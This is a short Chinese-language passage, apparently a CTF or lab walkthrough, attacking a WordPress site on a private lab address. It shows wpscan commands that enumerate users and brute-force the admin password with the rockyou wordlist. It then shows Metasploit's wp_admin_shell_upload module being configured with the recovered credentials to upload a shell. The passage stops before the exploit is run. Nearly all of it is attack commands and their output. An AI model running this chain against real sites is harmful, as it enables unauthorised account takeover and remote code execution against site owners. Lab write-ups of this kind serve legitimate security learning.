wpscan 进行扫描下

枚举用户：

╰─ wpscan -u http://10.10.202.153/1010101/wordpress/ --enumerate u

枚举密码：

http://10.10.202.153/1010101/wordpress/wp-login.php

wpscan -u http://10.10.202.153/1010101/wordpress/ --username admin --wordlist /usr/share/wordlists/rockyou.txt

跳转http://127.0.0.1/1010101/wordpress/wp-login.php无法访问，只能通过后台wp-admin shell操作了

msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 10.10.202.153
rhosts => 10.10.202.153
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
username => admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password Password@123
password => Password@123
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /1010101/wordpress/
